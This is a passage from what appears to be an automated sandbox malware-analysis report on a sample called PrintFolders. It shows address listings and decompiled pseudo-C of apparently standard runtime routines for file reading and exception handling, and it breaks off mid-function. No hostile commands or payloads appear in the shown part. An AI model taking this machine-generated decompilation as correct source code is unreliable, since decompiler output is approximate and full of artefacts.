                                                          0x00425a21
                                                          0x00000000
                                                          0x00425a2a
                                                          0x004259ed
                                                          0x004259f3
                                                          0x004259fc
                                                          0x00425a05
                                                          0x00000000
                                                          0x00425a0a
                                                          0x004257db
                                                          0x004257e4
                                                          0x004257ae
                                                          0x00000000
                                                          0x004257ae
                                                          0x004257a9
                                                          0x00000000
                                                          0x004257a9
                                                          0x00425784
                                                          0x00000000
                                                          0x00425759
                                                          0x00425759
                                                          0x0042575b
                                                          0x0042575e
                                                          0x00425a9b
                                                          0x00425a9b
                                                          0x00425aa3
                                                          0x00425aa5
                                                          0x00425aa5
                                                          0x00425aad
                                                          0x00425ab2
                                                          0x00425ab6
                                                          0x00425abe
                                                          0x00425ac6
                                                          0x00425acc
                                                          0x00425ab6
                                                          0x00425ad0
                                                          0x00425ad5
                                                          0x00425adb
                                                          0x00000000
                                                          0x00425adb

                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: _free
                                                          • String ID:
                                                          • API String ID: 269201875-0
                                                          • Opcode ID: d1ccfb6d5d4b89e14be0686283f280dc6ec478f279d77e8c09b8cbf74dc5944d
                                                          • Instruction ID: 569e6a71d5f44d06fa27ae0c400f08ba275592510054ad0f9e67e0790a3e9e44
                                                          • Opcode Fuzzy Hash: d1ccfb6d5d4b89e14be0686283f280dc6ec478f279d77e8c09b8cbf74dc5944d
                                                          • Instruction Fuzzy Hash: 3DC16275F40214AFDB20DAA9DC86FDFB7F8AF48704F54016AFA05FB282D67499408B58
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 82%
                                                          			E0041D783(signed int _a4, void* _a8, unsigned int _a12) {
                                                          				char _v5;
                                                          				signed int _v12;
                                                          				long _v16;
                                                          				signed int _v20;
                                                          				void* _v24;
                                                          				void* _v28;
                                                          				long _v32;
                                                          				char _v36;
                                                          				void* _v40;
                                                          				long _v44;
                                                          				signed int* _t137;
                                                          				signed int _t139;
                                                          				intOrPtr _t143;
                                                          				unsigned int _t154;
                                                          				intOrPtr _t158;
                                                          				signed int _t160;
                                                          				signed int _t163;
                                                          				long _t164;
                                                          				intOrPtr _t169;
                                                          				signed int _t170;
                                                          				intOrPtr _t172;
                                                          				signed int _t174;
                                                          				signed int _t178;
                                                          				void _t180;
                                                          				char _t185;
                                                          				char _t190;
                                                          				signed int _t198;
                                                          				signed int _t199;
                                                          				signed int _t200;
                                                          				signed int _t207;
                                                          				long _t210;
                                                          				unsigned int _t212;
                                                          				intOrPtr _t214;
                                                          				unsigned int _t217;
                                                          				signed int _t219;
                                                          				signed int _t220;
                                                          				signed int _t221;
                                                          				signed int _t222;
                                                          				signed char _t224;
                                                          				char _t226;
                                                          				signed int _t228;
                                                          				void* _t229;
                                                          				signed int _t230;
                                                          				char* _t231;
                                                          				char* _t232;
                                                          				signed int _t235;
                                                          				signed int _t236;
                                                          				void* _t240;
                                                          				void* _t242;
                                                          				void* _t243;
                                                          
                                                          				_t198 = _a4;
                                                          				_t246 = _t198 - 0xfffffffe;
                                                          				if(_t198 != 0xfffffffe) {
                                                          					__eflags = _t198;
                                                          					if(__eflags < 0) {
                                                          						L59:
                                                          						_t137 = E004135DE(__eflags);
                                                          						 *_t137 =  *_t137 & 0x00000000;
                                                          						__eflags =  *_t137;
                                                          						 *((intOrPtr*)(E004135F1( *_t137))) = 9;
                                                          						L60:
                                                          						_t139 = E00413517();
                                                          						goto L61;
                                                          					}
                                                          					__eflags = _t198 -  *0x450ae0; // 0x40
                                                          					if(__eflags >= 0) {
                                                          						goto L59;
                                                          					}
                                                          					_t207 = _t198 >> 6;
                                                          					_t235 = (_t198 & 0x0000003f) * 0x38;
                                                          					_v12 = _t207;
                                                          					_t143 =  *((intOrPtr*)(0x4508e0 + _t207 * 4));
                                                          					_v20 = _t235;
                                                          					_v36 = 1;
                                                          					_t224 =  *((intOrPtr*)(_t143 + _t235 + 0x28));
                                                          					__eflags = 1 & _t224;
                                                          					if(__eflags == 0) {
                                                          						goto L59;
                                                          					}
                                                          					_t210 = _a12;
                                                          					__eflags = _t210 - 0x7fffffff;
                                                          					if(__eflags <= 0) {
                                                          						__eflags = _t210;
                                                          						if(_t210 == 0) {
                                                          							L58:
                                                          							return 0;
                                                          						}
                                                          						__eflags = _t224 & 0x00000002;
                                                          						if((_t224 & 0x00000002) != 0) {
                                                          							goto L58;
                                                          						}
                                                          						__eflags = _a8;
                                                          						if(__eflags == 0) {
                                                          							goto L6;
                                                          						}
                                                          						_v28 =  *((intOrPtr*)(_t143 + _t235 + 0x18));
                                                          						_t226 =  *((intOrPtr*)(_t143 + _t235 + 0x29));
                                                          						_v5 = _t226;
                                                          						_t240 = 0;
                                                          						_t228 = _t226 - 1;
                                                          						__eflags = _t228;
                                                          						if(_t228 == 0) {
                                                          							__eflags =  !_t210 & 0x00000001;
                                                          							if(__eflags == 0) {
                                                          								L14:
                                                          								 *(E004135DE(__eflags)) =  *_t149 & _t240;
                                                          								 *((intOrPtr*)(E004135F1(__eflags))) = 0x16;
                                                          								E00413517();
                                                          								goto L39;
                                                          							} else {
                                                          								_t154 = 4;
                                                          								_t212 = _t210 >> 1;
                                                          								_v16 = _t154;
                                                          								__eflags = _t212 - _t154;
                                                          								if(_t212 >= _t154) {
                                                          									_t154 = _t212;
                                                          									_v16 = _t212;
                                                          								}
                                                          								_t240 = E0041ED2F(_t154);
                                                          								E0041E2B8(0);
                                                          								E0041E2B8(0);
                                                          								_t243 = _t242 + 0xc;
                                                          								_v24 = _t240;
                                                          								__eflags = _t240;
                                                          								if(__eflags != 0) {
                                                          									_t158 = E0041D158(_t198, 0, 0, 1);
                                                          									_t242 = _t243 + 0x10;
                                                          									_t214 =  *((intOrPtr*)(0x4508e0 + _v12 * 4));
                                                          									 *((intOrPtr*)(_t235 + _t214 + 0x20)) = _t158;
                                                          									 *(_t235 + _t214 + 0x24) = _t228;
                                                          									_t229 = _t240;
                                                          									_t210 = _v16;
                                                          									_t143 =  *((intOrPtr*)(0x4508e0 + _v12 * 4));
                                                          									L22:
                                                          									_t199 = _v20;
                                                          									_t235 = 0;
                                                          									_v40 = _t229;
                                                          									__eflags =  *(_t199 + _t143 + 0x28) & 0x00000048;
                                                          									_t200 = _a4;
                                                          									if(( *(_t199 + _t143 + 0x28) & 0x00000048) != 0) {
                                                          										_t180 =  *((intOrPtr*)(_v20 + _t143 + 0x2a));
                                                          										_t200 = _a4;
                                                          										__eflags = _t180 - 0xa;
                                                          										if(_t180 != 0xa) {
                                                          											__eflags = _t210;
                                                          											if(_t210 != 0) {
                                                          												_t235 = 1;
                                                          												 *_t229 = _t180;
                                                          												_t231 = _t229 + 1;
                                                          												_t220 = _t210 - 1;
                                                          												__eflags = _v5;
                                                          												_v24 = _t231;
                                                          												_v16 = _t220;
                                                          												 *((char*)(_v20 +  *((intOrPtr*)(0x4508e0 + _v12 * 4)) + 0x2a)) = 0xa;
                                                          												_t200 = _a4;
                                                          												if(_v5 != 0) {
                                                          													_t185 =  *((intOrPtr*)(_v20 +  *((intOrPtr*)(0x4508e0 + _v12 * 4)) + 0x2b));
                                                          													_t200 = _a4;
                                                          													__eflags = _t185 - 0xa;
                                                          													if(_t185 != 0xa) {
                                                          														__eflags = _t220;
                                                          														if(_t220 != 0) {
                                                          															 *_t231 = _t185;
                                                          															_t232 = _t231 + 1;
                                                          															_t221 = _t220 - 1;
                                                          															__eflags = _v5 - 1;
                                                          															_v24 = _t232;
                                                          															_t235 = 2;
                                                          															_v16 = _t221;
                                                          															 *((char*)(_v20 +  *((intOrPtr*)(0x4508e0 + _v12 * 4)) + 0x2b)) = 0xa;
                                                          															_t200 = _a4;
                                                          															if(_v5 == 1) {
                                                          																_t190 =  *((intOrPtr*)(_v20 +  *((intOrPtr*)(0x4508e0 + _v12 * 4)) + 0x2c));
                                                          																_t200 = _a4;
                                                          																__eflags = _t190 - 0xa;
                                                          																if(_t190 != 0xa) {
                                                          																	__eflags = _t221;
                                                          																	if(_t221 != 0) {
                                                          																		 *_t232 = _t190;
                                                          																		_t222 = _t221 - 1;
                                                          																		__eflags = _t222;
                                                          																		_v16 = _t222;
                                                          																		_v24 = _t232 + 1;
                                                          																		_t235 = 3;
                                                          																		 *((char*)(_v20 +  *((intOrPtr*)(0x4508e0 + _v12 * 4)) + 0x2c)) = 0xa;
                                                          																	}
                                                          																}
                                                          															}
                                                          														}
                                                          													}
                                                          												}
                                                          											}
                                                          										}
                                                          									}
                                                          									_t160 = E00427ED7(_t200);
                                                          									__eflags = _t160;
                                                          									if(_t160 == 0) {
                                                          										L42:
                                                          										_v36 = 0;
                                                          										L43:
                                                          										_t163 = ReadFile(_v28, _v24, _v16,  &_v32, 0);
                                                          										__eflags = _t163;
                                                          										if(_t163 == 0) {
                                                          											L54:
                                                          											_t164 = GetLastError();
                                                          											_t235 = 5;
                                                          											__eflags = _t164 - _t235;
                                                          											if(__eflags != 0) {
                                                          												__eflags = _t164 - 0x6d;
                                                          												if(_t164 != 0x6d) {
                                                          													L38:
                                                          													E004135BB(_t164);
                                                          													goto L39;
                                                          												}
                                                          												_t236 = 0;
                                                          												goto L40;
                                                          											}
                                                          											 *((intOrPtr*)(E004135F1(__eflags))) = 9;
                                                          											 *(E004135DE(__eflags)) = _t235;
                                                          											goto L39;
                                                          										}
                                                          										_t217 = _a12;
                                                          										__eflags = _v32 - _t217;
                                                          										if(_v32 > _t217) {
                                                          											goto L54;
                                                          										}
                                                          										_t236 = _t235 + _v32;
                                                          										__eflags = _t236;
                                                          										L46:
                                                          										_t230 = _v20;
                                                          										_t169 =  *((intOrPtr*)(0x4508e0 + _v12 * 4));
                                                          										__eflags =  *((char*)(_t230 + _t169 + 0x28));
                                                          										if( *((char*)(_t230 + _t169 + 0x28)) < 0) {
                                                          											__eflags = _v5 - 2;
                                                          											if(_v5 == 2) {
                                                          												__eflags = _v36;
                                                          												_push(_t236 >> 1);
                                                          												_push(_v40);
                                                          												_push(_t200);
                                                          												if(_v36 == 0) {
                                                          													_t170 = E0041D2EE();
                                                          												} else {
                                                          													_t170 = E0041D5F4();
                                                          												}
                                                          											} else {
                                                          												_t218 = _t217 >> 1;
                                                          												__eflags = _t217 >> 1;
                                                          												_t170 = E0041D49D(_t217 >> 1, _t217 >> 1, _t200, _v24, _t236, _a8, _t218);
                                                          											}
                                                          											_t236 = _t170;
                                                          										}
                                                          										goto L40;
                                                          									}
                                                          									_t219 = _v20;
                                                          									_t172 =  *((intOrPtr*)(0x4508e0 + _v12 * 4));
                                                          									__eflags =  *((char*)(_t219 + _t172 + 0x28));
                                                          									if( *((char*)(_t219 + _t172 + 0x28)) >= 0) {
                                                          										goto L42;
                                                          									}
                                                          									_t174 = GetConsoleMode(_v28,  &_v44);
                                                          									__eflags = _t174;
                                                          									if(_t174 == 0) {
                                                          										goto L42;
                                                          									}
                                                          									__eflags = _v5 - 2;
                                                          									if(_v5 != 2) {
                                                          										goto L43;
                                                          									}
                                                          									_t111 =  &_v16; // 0xa
                                                          									_t178 = ReadConsoleW(_v28, _v24,  *_t111 >> 1,  &_v32, 0);
                                                          									__eflags = _t178;
                                                          									if(_t178 != 0) {
                                                          										_t217 = _a12;
                                                          										_t236 = _t235 + _v32 * 2;
                                                          										goto L46;
                                                          									}
                                                          									_t164 = GetLastError();
                                                          									goto L38;
                                                          								} else {
                                                          									 *((intOrPtr*)(E004135F1(__eflags))) = 0xc;
                                                          									 *(E004135DE(__eflags)) = 8;
                                                          									L39:
                                                          									_t236 = _t235 | 0xffffffff;
                                                          									__eflags = _t236;
                                                          									L40:
                                                          									E0041E2B8(_t240);
                                                          									return _t236;
                                                          								}
                                                          							}
                                                          						}
                                                          						__eflags = _t228 == 1;
                                                          						if(_t228 == 1) {
                                                          							__eflags =  !_t210 & 0x00000001;
                                                          							if(__eflags != 0) {
                                                          								_t229 = _a8;
                                                          								_v16 = _t210;
                                                          								_v24 = _t229;
                                                          								_t143 =  *((intOrPtr*)(0x4508e0 + _v12 * 4));
                                                          								goto L22;
                                                          							}
                                                          							goto L14;
                                                          						} else {
                                                          							_t229 = _a8;
                                                          							_v16 = _t210;
                                                          							_v24 = _t229;
                                                          							goto L22;
                                                          						}
                                                          					}
                                                          					L6:
                                                          					 *(E004135DE(__eflags)) =  *_t145 & 0x00000000;
                                                          					 *((intOrPtr*)(E004135F1(__eflags))) = 0x16;
                                                          					goto L60;
                                                          				} else {
                                                          					 *(E004135DE(_t246)) =  *_t197 & 0x00000000;
                                                          					_t139 = E004135F1(_t246);
                                                          					 *_t139 = 9;
                                                          					L61:
                                                          					return _t139 | 0xffffffff;
                                                          				}
                                                          			}





















































                                                          0x0041d78c
                                                          0x0041d790
                                                          0x0041d793
                                                          0x0041d7ad
                                                          0x0041d7af
                                                          0x0041db14
                                                          0x0041db14
                                                          0x0041db19
                                                          0x0041db19
                                                          0x0041db21
                                                          0x0041db27
                                                          0x0041db27
                                                          0x00000000
                                                          0x0041db27
                                                          0x0041d7b5
                                                          0x0041d7bb
                                                          0x00000000
                                                          0x00000000
                                                          0x0041d7c5
                                                          0x0041d7cb
                                                          0x0041d7ce
                                                          0x0041d7d1
                                                          0x0041d7db
                                                          0x0041d7de
                                                          0x0041d7e1
                                                          0x0041d7e5
                                                          0x0041d7e7
                                                          0x00000000
                                                          0x00000000
                                                          0x0041d7ed
                                                          0x0041d7f0
                                                          0x0041d7f6
                                                          0x0041d810
                                                          0x0041d812
                                                          0x0041db10
                                                          0x00000000
                                                          0x0041db10
                                                          0x0041d818
                                                          0x0041d81b
                                                          0x00000000
                                                          0x00000000
                                                          0x0041d821
                                                          0x0041d825
                                                          0x00000000
                                                          0x00000000
                                                          0x0041d82b
                                                          0x0041d82e
                                                          0x0041d832
                                                          0x0041d839
                                                          0x0041d83b
                                                          0x0041d83b
                                                          0x0041d83e
                                                          0x0041d893
                                                          0x0041d895
                                                          0x0041d85b
                                                          0x0041d860
                                                          0x0041d867
                                                          0x0041d86d
                                                          0x00000000
                                                          0x0041d897
                                                          0x0041d899
                                                          0x0041d89a
                                                          0x0041d89c
                                                          0x0041d89f
                                                          0x0041d8a1
                                                          0x0041d8a3
                                                          0x0041d8a5
                                                          0x0041d8a5
                                                          0x0041d8b0
                                                          0x0041d8b2
                                                          0x0041d8b9
                                                          0x0041d8be
                                                          0x0041d8c1
                                                          0x0041d8c4
                                                          0x0041d8c6
                                                          0x0041d8ea
                                                          0x0041d8f2
                                                          0x0041d8f5
                                                          0x0041d8fc
                                                          0x0041d903
                                                          0x0041d907
                                                          0x0041d909
                                                          0x0041d90c
                                                          0x0041d913
                                                          0x0041d913
                                                          0x0041d916
                                                          0x0041d918
                                                          0x0041d91b
                                                          0x0041d920
                                                          0x0041d923
                                                          0x0041d92c
                                                          0x0041d930
                                                          0x0041d933
                                                          0x0041d935
                                                          0x0041d93b
                                                          0x0041d93d
                                                          0x0041d946
                                                          0x0041d947
                                                          0x0041d949
                                                          0x0041d94d
                                                          0x0041d94e
                                                          0x0041d952
                                                          0x0041d955
                                                          0x0041d95f
                                                          0x0041d964
                                                          0x0041d967
                                                          0x0041d976
                                                          0x0041d97a
                                                          0x0041d97d
                                                          0x0041d97f
                                                          0x0041d981
                                                          0x0041d983
                                                          0x0041d988
                                                          0x0041d98a
                                                          0x0041d98e
                                                          0x0041d98f
                                                          0x0041d995
                                                          0x0041d99f
                                                          0x0041d9a0
                                                          0x0041d9a3
                                                          0x0041d9a8
                                                          0x0041d9ab
                                                          0x0041d9ba
                                                          0x0041d9be
                                                          0x0041d9c1
                                                          0x0041d9c3
                                                          0x0041d9c5
                                                          0x0041d9c7
                                                          0x0041d9c9
                                                          0x0041d9cf
                                                          0x0041d9cf
                                                          0x0041d9d0
                                                          0x0041d9df
                                                          0x0041d9e2
                                                          0x0041d9e3
                                                          0x0041d9e3
                                                          0x0041d9c7
                                                          0x0041d9c3
                                                          0x0041d9ab
                                                          0x0041d983
                                                          0x0041d97f
                                                          0x0041d967
                                                          0x0041d93d
                                                          0x0041d935
                                                          0x0041d9e9
                                                          0x0041d9ef
                                                          0x0041d9f1
                                                          0x0041da64
                                                          0x0041da64
                                                          0x0041da68
                                                          0x0041da78
                                                          0x0041da7e
                                                          0x0041da80
                                                          0x0041dadc
                                                          0x0041dadc
                                                          0x0041dae4
                                                          0x0041dae5
                                                          0x0041dae7
                                                          0x0041db00
                                                          0x0041db03
                                                          0x0041da40
                                                          0x0041da41
                                                          0x00000000
                                                          0x0041da46
                                                          0x0041db09
                                                          0x00000000
                                                          0x0041db09
                                                          0x0041daee
                                                          0x0041daf9
                                                          0x00000000
                                                          0x0041daf9
                                                          0x0041da82
                                                          0x0041da85
                                                          0x0041da88
                                                          0x00000000
                                                          0x00000000
                                                          0x0041da8a
                                                          0x0041da8a
                                                          0x0041da8d
                                                          0x0041da90
                                                          0x0041da93
                                                          0x0041da9a
                                                          0x0041da9f
                                                          0x0041daa1
                                                          0x0041daa5
                                                          0x0041dac0
                                                          0x0041dac4
                                                          0x0041dac5
                                                          0x0041dac8
                                                          0x0041dac9
                                                          0x0041dad5
                                                          0x0041dacb
                                                          0x0041dacb
                                                          0x0041dacb
                                                          0x0041daa7
                                                          0x0041daa7
                                                          0x0041daa7
                                                          0x0041dab2
                                                          0x0041dab7
                                                          0x0041daba
                                                          0x0041daba
                                                          0x00000000
                                                          0x0041da9f
                                                          0x0041d9f6
                                                          0x0041d9f9
                                                          0x0041da00
                                                          0x0041da05
                                                          0x00000000
                                                          0x00000000
                                                          0x0041da0e
                                                          0x0041da14
                                                          0x0041da16
                                                          0x00000000
                                                          0x00000000
                                                          0x0041da18
                                                          0x0041da1c
                                                          0x00000000
                                                          0x00000000
                                                          0x0041da24
                                                          0x0041da30
                                                          0x0041da36
                                                          0x0041da38
                                                          0x0041da5c
                                                          0x0041da5f
                                                          0x00000000
                                                          0x0041da5f
                                                          0x0041da3a
                                                          0x00000000
                                                          0x0041d8c8
                                                          0x0041d8cd
                                                          0x0041d8d8
                                                          0x0041da47
                                                          0x0041da47
                                                          0x0041da47
                                                          0x0041da4a
                                                          0x0041da4b
                                                          0x00000000
                                                          0x0041da53
                                                          0x0041d8c6
                                                          0x0041d895
                                                          0x0041d840
                                                          0x0041d843
                                                          0x0041d857
                                                          0x0041d859
                                                          0x0041d87a
                                                          0x0041d87d
                                                          0x0041d880
                                                          0x0041d883
                                                          0x00000000
                                                          0x0041d883
                                                          0x00000000
                                                          0x0041d845
                                                          0x0041d845
                                                          0x0041d848
                                                          0x0041d84b
                                                          0x00000000
                                                          0x0041d84b
                                                          0x0041d843
                                                          0x0041d7f8
                                                          0x0041d7fd
                                                          0x0041d805
                                                          0x00000000
                                                          0x0041d795
                                                          0x0041d79a
                                                          0x0041d79d
                                                          0x0041d7a2
                                                          0x0041db2c
                                                          0x00000000
                                                          0x0041db2c

                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID: 0-3907804496
                                                          • Opcode ID: 8f4f84f8da90cf00b070d342344e91b5c399ffd5b14068e3114e3e9a8c8d54fe
                                                          • Instruction ID: 414b9fb87afc50a8a3d8bfe03c00f007ed18bb814e769fe5a88ecae7e3a98d83
                                                          • Opcode Fuzzy Hash: 8f4f84f8da90cf00b070d342344e91b5c399ffd5b14068e3114e3e9a8c8d54fe
                                                          • Instruction Fuzzy Hash: ACC106F0E08245AFDF15DF99C881BEE7BB5AF49304F04405AE415AB392C7789AC1CB69
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 72%
                                                          			E00412112(signed int __edx, signed char* _a4, signed int _a8, signed int _a12, char _a16, signed int* _a20, signed int _a24, signed int _a28, signed int _a32) {
                                                          				signed char* _v0;
                                                          				signed int _v8;
                                                          				signed int _v12;
                                                          				signed int _v16;
                                                          				signed int _v20;
                                                          				intOrPtr _v24;
                                                          				char _v28;
                                                          				signed int _v32;
                                                          				signed int _v36;
                                                          				signed int _v40;
                                                          				signed int _v44;
                                                          				intOrPtr _v48;
                                                          				signed int _v52;
                                                          				intOrPtr _v56;
                                                          				intOrPtr _v60;
                                                          				void _v64;
                                                          				signed int _v68;
                                                          				char _v84;
                                                          				intOrPtr _v88;
                                                          				signed int _v92;
                                                          				intOrPtr _v100;
                                                          				void _v104;
                                                          				intOrPtr* _v112;
                                                          				signed char* _v184;
                                                          				void* __ebx;
                                                          				void* __edi;
                                                          				void* __esi;
                                                          				void* __ebp;
                                                          				void* _t202;
                                                          				signed int _t203;
                                                          				char _t204;
                                                          				signed int _t206;
                                                          				signed int _t208;
                                                          				signed char* _t209;
                                                          				signed int _t210;
                                                          				signed int _t211;
                                                          				signed int _t215;
                                                          				void* _t218;
                                                          				signed char* _t221;
                                                          				void* _t223;
                                                          				void* _t225;
                                                          				signed char _t229;
                                                          				signed int _t230;
                                                          				void* _t232;
                                                          				void* _t235;
                                                          				void* _t238;
                                                          				signed char _t245;
                                                          				signed int _t250;
                                                          				void* _t253;
                                                          				signed int* _t255;
                                                          				signed int _t256;
                                                          				intOrPtr _t257;
                                                          				signed int _t258;
                                                          				void* _t263;
                                                          				void* _t268;
                                                          				void* _t269;
                                                          				signed int _t273;
                                                          				signed char* _t274;
                                                          				intOrPtr* _t275;
                                                          				signed char _t276;
                                                          				signed int _t277;
                                                          				signed int _t278;
                                                          				intOrPtr* _t280;
                                                          				signed int _t281;
                                                          				signed int _t282;
                                                          				signed int _t287;
                                                          				signed int _t294;
                                                          				signed int _t295;
                                                          				signed int _t298;
                                                          				signed int _t300;
                                                          				signed char* _t301;
                                                          				signed int _t302;
                                                          				signed int _t303;
                                                          				signed int* _t305;
                                                          				signed char* _t308;
                                                          				signed int _t318;
                                                          				signed int _t319;
                                                          				signed int _t321;
                                                          				signed int _t330;
                                                          				void* _t332;
                                                          				void* _t334;
                                                          				void* _t335;
                                                          				void* _t336;
                                                          				void* _t337;
                                                          
                                                          				_t300 = __edx;
                                                          				_push(_t319);
                                                          				_t305 = _a20;
                                                          				_v20 = 0;
                                                          				_v28 = 0;
                                                          				_t279 = E004131AD(_a8, _a16, _t305);
                                                          				_t335 = _t334 + 0xc;
                                                          				_v12 = _t279;
                                                          				if(_t279 < 0xffffffff || _t279 >= _t305[1]) {
                                                          					L66:
                                                          					_t202 = E00419C49(_t274, _t279, _t300, _t305, _t319);
                                                          					asm("int3");
                                                          					_t332 = _t335;
                                                          					_t336 = _t335 - 0x38;
                                                          					_push(_t274);
                                                          					_t275 = _v112;
                                                          					__eflags =  *_t275 - 0x80000003;
                                                          					if( *_t275 == 0x80000003) {
                                                          						return _t202;
                                                          					} else {
                                                          						_t203 = E00411D96(_t275, _t279, _t300, _t305, _t319, _t305, _t319);
                                                          						__eflags =  *(_t203 + 8);
                                                          						if( *(_t203 + 8) != 0) {
                                                          							__imp__EncodePointer(0);
                                                          							_t319 = _t203;
                                                          							_t223 = E00411D96(_t275, _t279, _t300, 0, _t319);
                                                          							__eflags =  *((intOrPtr*)(_t223 + 8)) - _t319;
                                                          							if( *((intOrPtr*)(_t223 + 8)) != _t319) {
                                                          								__eflags =  *_t275 - 0xe0434f4d;
                                                          								if( *_t275 != 0xe0434f4d) {
                                                          									__eflags =  *_t275 - 0xe0434352;
                                                          									if( *_t275 != 0xe0434352) {
                                                          										_t215 = E0040FC88(_t300, 0, _t319, _t275, _a4, _a8, _a12, _a16, _a24, _a28);
                                                          										_t336 = _t336 + 0x1c;
                                                          										__eflags = _t215;
                                                          										if(_t215 != 0) {
                                                          											L83:
                                                          											return _t215;
                                                          										}
                                                          									}
                                                          								}
                                                          							}
                                                          						}
                                                          						_t204 = _a16;
                                                          						_v28 = _t204;
                                                          						_v24 = 0;
                                                          						__eflags =  *(_t204 + 0xc);
                                                          						if( *(_t204 + 0xc) > 0) {
                                                          							_push(_a24);
                                                          							E0040FBBB(_t275, _t279, 0, _t319,  &_v44,  &_v28, _a20, _a12, _t204);
                                                          							_t302 = _v40;
                                                          							_t337 = _t336 + 0x18;
                                                          							_t215 = _v44;
                                                          							_v20 = _t215;
                                                          							_v12 = _t302;
                                                          							__eflags = _t302 - _v32;
                                                          							if(_t302 >= _v32) {
                                                          								goto L83;
                                                          							}
                                                          							_t281 = _t302 * 0x14;
                                                          							__eflags = _t281;
                                                          							_v16 = _t281;
                                                          							do {
                                                          								_t282 = 5;
                                                          								_t218 = memcpy( &_v64,  *((intOrPtr*)( *_t215 + 0x10)) + _t281, _t282 << 2);
                                                          								_t337 = _t337 + 0xc;
                                                          								__eflags = _v64 - _t218;
                                                          								if(_v64 > _t218) {
                                                          									goto L82;
                                                          								}
                                                          								__eflags = _t218 - _v60;
                                                          								if(_t218 > _v60) {
                                                          									goto L82;
                                                          								}
                                                          								_t221 = _v48 + 0xfffffff0 + (_v52 << 4);
                                                          								_t287 = _t221[4];
                                                          								__eflags = _t287;
                                                          								if(_t287 == 0) {
                                                          									L80:
                                                          									__eflags =  *_t221 & 0x00000040;
                                                          									if(( *_t221 & 0x00000040) == 0) {
                                                          										_push(0);
                                                          										_push(1);
                                                          										E00412092(_t302, _t275, _a4, _a8, _a12, _a16, _t221, 0,  &_v64, _a24, _a28);
                                                          										_t302 = _v12;
                                                          										_t337 = _t337 + 0x30;
                                                          									}
                                                          									goto L82;
                                                          								}
                                                          								__eflags =  *((char*)(_t287 + 8));
                                                          								if( *((char*)(_t287 + 8)) != 0) {
                                                          									goto L82;
                                                          								}
                                                          								goto L80;
                                                          								L82:
                                                          								_t302 = _t302 + 1;
                                                          								_t215 = _v20;
                                                          								_t281 = _v16 + 0x14;
                                                          								_v12 = _t302;
                                                          								_v16 = _t281;
                                                          								__eflags = _t302 - _v32;
                                                          							} while (_t302 < _v32);
                                                          							goto L83;
                                                          						}
                                                          						E00419C49(_t275, _t279, _t300, 0, _t319);
                                                          						asm("int3");
                                                          						_push(_t332);
                                                          						_t301 = _v184;
                                                          						_push(_t275);
                                                          						_push(_t319);
                                                          						_push(0);
                                                          						_t206 = _t301[4];
                                                          						__eflags = _t206;
                                                          						if(_t206 == 0) {
                                                          							L108:
                                                          							_t208 = 1;
                                                          							__eflags = 1;
                                                          						} else {
                                                          							_t280 = _t206 + 8;
                                                          							__eflags =  *_t280;
                                                          							if( *_t280 == 0) {
                                                          								goto L108;
                                                          							} else {
                                                          								__eflags =  *_t301 & 0x00000080;
                                                          								_t308 = _v0;
                                                          								if(( *_t301 & 0x00000080) == 0) {
                                                          									L90:
                                                          									_t276 = _t308[4];
                                                          									_t321 = 0;
                                                          									__eflags = _t206 - _t276;
                                                          									if(_t206 == _t276) {
                                                          										L100:
                                                          										__eflags =  *_t308 & 0x00000002;
                                                          										if(( *_t308 & 0x00000002) == 0) {
                                                          											L102:
                                                          											_t209 = _a4;
                                                          											__eflags =  *_t209 & 0x00000001;
                                                          											if(( *_t209 & 0x00000001) == 0) {
                                                          												L104:
                                                          												__eflags =  *_t209 & 0x00000002;
                                                          												if(( *_t209 & 0x00000002) == 0) {
                                                          													L106:
                                                          													_t321 = 1;
                                                          													__eflags = 1;
                                                          												} else {
                                                          													__eflags =  *_t301 & 0x00000002;
                                                          													if(( *_t301 & 0x00000002) != 0) {
                                                          														goto L106;
                                                          													}
                                                          												}
                                                          											} else {
                                                          												__eflags =  *_t301 & 0x00000001;
                                                          												if(( *_t301 & 0x00000001) != 0) {
                                                          													goto L104;
                                                          												}
                                                          											}
                                                          										} else {
                                                          											__eflags =  *_t301 & 0x00000008;
                                                          											if(( *_t301 & 0x00000008) != 0) {
                                                          												goto L102;
                                                          											}
                                                          										}
                                                          										_t208 = _t321;
                                                          									} else {
                                                          										_t185 = _t276 + 8; // 0x6e
                                                          										_t210 = _t185;
                                                          										while(1) {
                                                          											_t277 =  *_t280;
                                                          											__eflags = _t277 -  *_t210;
                                                          											if(_t277 !=  *_t210) {
                                                          												break;
                                                          											}
                                                          											__eflags = _t277;
                                                          											if(_t277 == 0) {
                                                          												L96:
                                                          												_t211 = _t321;
                                                          											} else {
                                                          												_t278 =  *((intOrPtr*)(_t280 + 1));
                                                          												__eflags = _t278 -  *((intOrPtr*)(_t210 + 1));
                                                          												if(_t278 !=  *((intOrPtr*)(_t210 + 1))) {
                                                          													break;
                                                          												} else {
                                                          													_t280 = _t280 + 2;
                                                          													_t210 = _t210 + 2;
                                                          													__eflags = _t278;
                                                          													if(_t278 != 0) {
                                                          														continue;
                                                          													} else {
                                                          														goto L96;
                                                          													}
                                                          												}
                                                          											}
                                                          											L98:
                                                          											__eflags = _t211;
                                                          											if(_t211 == 0) {
                                                          												goto L100;
                                                          											} else {
                                                          												_t208 = 0;
                                                          											}
                                                          											goto L109;
                                                          										}
                                                          										asm("sbb eax, eax");
                                                          										_t211 = _t210 | 0x00000001;
                                                          										__eflags = _t211;
                                                          										goto L98;
                                                          									}
                                                          								} else {
                                                          									__eflags =  *_t308 & 0x00000010;
                                                          									if(( *_t308 & 0x00000010) != 0) {
                                                          										goto L108;
                                                          									} else {
